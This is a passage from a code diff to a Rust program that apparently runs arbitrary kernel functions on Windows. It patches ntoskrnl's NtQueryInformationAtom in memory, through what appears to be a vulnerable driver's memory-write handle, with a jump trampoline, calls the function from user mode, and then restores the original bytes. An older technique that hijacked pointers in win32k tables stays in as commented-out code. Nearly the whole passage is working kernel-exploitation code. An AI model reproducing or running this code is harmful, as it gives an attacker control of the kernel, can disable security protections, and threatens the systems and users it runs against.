} { + println!("ReadMemory failed!!"); return false; } } @@ -397,113 +442,172 @@ pub fn get_nt_gdi_get_copp_compatible_opm_information_info( true } -// Since rust doesn't support variadic arguments as of now, we will return a pointer to the function, we have no choice. +// Smart way to do this eh? pub fn call_kernel_fn( service: HANDLE, call_function: &mut dyn FnMut(*mut usize) -> bool, - mut kernel_function_address: u64, + kernel_function_address: u64, ) -> bool { if kernel_function_address == 0 { - return false; + panic!("Kernel export apparently 0? What are we gonna do about it?"); } // Wrap entire function because why not. unsafe { - let nt_gdi_dd_ddi_reclaim_allocations = GetProcAddress( - LoadLibraryA("gdi32full.dll".as_ptr() as _), - "NtGdiDdDDIReclaimAllocations2".as_ptr() as _, - ); - let nt_gdi_get_copp_compatible_opm_information = GetProcAddress( - LoadLibraryA("win32u.dll".as_ptr() as _), - "NtGdiGetCOPPCompatibleOPMInformation".as_ptr() as _, + let nt_query_information_atom = GetProcAddress( + LoadLibraryA("ntdll.dll\0".as_ptr() as _), + "NtQueryInformationAtom\0".as_ptr() as _, ); - if nt_gdi_dd_ddi_reclaim_allocations.is_null() - && nt_gdi_get_copp_compatible_opm_information.is_null() - { - panic!("Failed to find NtGdiDdDDIReclaimAllocations2 or NtGdiGetCOPPCompatibleOPMInformation"); + if nt_query_information_atom.is_null() { + panic!("Couldn't find target function, are you on 20h2?") } - let mut kernel_fn_pointer: u64 = 0; - let mut kernel_function_jmp: [u8; 12] = [ + let mut kernel_injected_jmp: [u8; 12] = [ 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xe0, ]; - let mut kernel_original_function_address: u64 = 0; - let mut kernel_original_function_jmp = vec![0u8, 12]; + let mut original_kernel_fn = vec![0u8; 12]; - if !nt_gdi_dd_ddi_reclaim_allocations.is_null() { - // Get function pointer (@win32kbase!gDxgkInterface table) used by NtGdiDdDDIReclaimAllocations2 - // and save the original address (dxgkrnl!DxgkReclaimAllocations2) - if !get_nt_gdi_dd_ddl_reclaim_allocations_info( - service, - &mut kernel_fn_pointer, - &mut kernel_original_function_address, - ) { - return false; - } + ((kernel_injected_jmp.as_mut_ptr() as usize + 2usize) as *mut u64) + .write(kernel_function_address); - // Overwrite the pointer with kernel_function_address - if !force_write_memory( - service, - kernel_fn_pointer, - &mut kernel_function_address as *mut u64 as _, - std::mem::size_of::() as _, - ) { - return false; - } - } else { - if !get_nt_gdi_get_copp_compatible_opm_information_info( - service, - &mut kernel_fn_pointer, - kernel_original_function_jmp.as_mut_ptr(), - ) { - return false; - } + let kernel_nt_query_information_atom = get_kernel_module_export( + service, + get_kernel_module_address("ntoskrnl.exe".to_string()), + "NtQueryInformationAtom", + ); - // Overwrite jmp with 'movabs rax, , jmp rax' - std::ptr::copy( - &kernel_function_address, - (kernel_function_jmp.as_ptr() as usize + 2usize) as _, - std::mem::size_of::(), - ); - - if !force_write_memory( - service, - kernel_fn_pointer, - kernel_function_jmp.as_mut_ptr() as *mut _, - (std::mem::size_of::() * kernel_function_jmp.len() as usize) as _, - ) { - return false; - } + if kernel_nt_query_information_atom == 0 { + println!("Couldn't get export ntoskrnl.NtQueryInformationAtom"); + return false; } - let mut function = std::ptr::null_mut(); - if !nt_gdi_get_copp_compatible_opm_information.is_null() { - function = nt_gdi_get_copp_compatible_opm_information; - } else if !nt_gdi_dd_ddi_reclaim_allocations.is_null() { - function = nt_gdi_dd_ddi_reclaim_allocations; + if !read_memory( + service, + kernel_nt_query_information_atom, + original_kernel_fn.as_mut_ptr() as _, + kernel_injected_jmp.len() as _, + ) { + println!("Couldn't read memory"); + return false; } - if !function.is_null() { - call_function(function as _); + if !force_write_memory( + service, + kernel_nt_query_information_atom, + kernel_injected_jmp.as_ptr() as _, + kernel_injected_jmp.len() as _, + ) { + println!("Couldn't write memory"); + return false; } - if !nt_gdi_dd_ddi_reclaim_allocations.is_null() { - force_write_memory( - service, - kernel_fn_pointer, - &mut kernel_original_function_address as *mut u64 as _, - std::mem::size_of::() as _, - ); - } else { - force_write_memory( - service, - kernel_fn_pointer, - kernel_original_function_jmp.as_mut_ptr() as *mut _, - (std::mem::size_of::() * kernel_function_jmp.len() as usize) as _, - ); + call_function(nt_query_information_atom as _); + + if !force_write_memory( + service, + kernel_nt_query_information_atom, + original_kernel_fn.as_mut_ptr() as _, + original_kernel_fn.len() as _, + ) { + println!("Couldn't restore function!"); + return false; } + + // NOTE: this is for older versions of windows! + // let nt_gdi_dd_ddi_reclaim_allocations = GetProcAddress( + // LoadLibraryA("gdi32full.dll\0".as_ptr() as _), + // "NtGdiDdDDIReclaimAllocations2\0".as_ptr() as _, + // ); + // let nt_gdi_get_copp_compatible_opm_information = GetProcAddress( + // LoadLibraryA("win32u.dll\0".as_ptr() as _), + // "NtGdiGetCOPPCompatibleOPMInformation\0".as_ptr() as _, + // ); + + // if nt_gdi_dd_ddi_reclaim_allocations.is_null() + // && nt_gdi_get_copp_compatible_opm_information.is_null() + // { + // panic!("Failed to find NtGdiDdDDIReclaimAllocations2 or NtGdiGetCOPPCompatibleOPMInformation"); + // } + + // let mut kernel_fn_pointer: u64 = 0; + // let mut kernel_original_function_address: u64 = 0; + // let mut kernel_original_function_jmp = vec![0u8, 12]; + + // if !nt_gdi_dd_ddi_reclaim_allocations.is_null() { + // // Get function pointer (@win32kbase!gDxgkInterface table) used by NtGdiDdDDIReclaimAllocations2 + // // and save the original address (dxgkrnl!DxgkReclaimAllocations2) + // if !get_nt_gdi_dd_ddl_reclaim_allocations_info( + // service, + // &mut kernel_fn_pointer, + // &mut kernel_original_function_address, + // ) { + // return false; + // } + + // // Overwrite the pointer with kernel_function_address + // if !force_write_memory( + // service, + // kernel_fn_pointer, + // &mut kernel_function_address as *mut u64 as _, + // std::mem::size_of::() as _, + // ) { + // return false; + // } + // } else { + // if !get_nt_gdi_get_copp_compatible_opm_information_info( + // service, + // &mut kernel_fn_pointer, + // kernel_original_function_jmp.as_mut_ptr(), + // ) { + // return false; + // } + + // // Overwrite jmp with 'movabs rax, , jmp rax' + // std::ptr::copy( + // &kernel_function_address, + // (kernel_function_jmp.as_ptr() as usize + 2usize) as _, + // std::mem::size_of::(), + // ); + + // if !force_write_memory( + // service, + // kernel_fn_pointer, + // kernel_function_jmp.as_mut_ptr() as *mut _, + // (std::mem::size_of::() * kernel_function_jmp.len() as usize) as _, + // ) { + // return false; + // } + // } + + // let mut function = std::ptr::null_mut(); + // if !nt_gdi_get_copp_compatible_opm_information.is_null() { + // function = nt_gdi_get_copp_compatible_opm_information; + // } else if !nt_gdi_dd_ddi_reclaim_allocations.is_null() { + // function = nt_gdi_dd_ddi_reclaim_allocations; + // } + + // if !function.is_null() { + // call_function(function as _); + // } + + // if !nt_gdi_get_copp_compatible_opm_information.is_null() { + // force_write_memory( + // service, + // kernel_fn_pointer, + // &mut kernel_original_function_address as *mut u64 as _, + // std::mem::size_of::() as _, + // ); + // } else { + // force_write_memory( + // service, + // kernel_fn_pointer, + // kernel_original_function_jmp.as_mut_ptr() as *mut _, + // (std::mem::size_of::() * kernel_function_jmp.len() as usize) as _, + // ); + // } } + println!("Succesfully called kernel fn!"); true }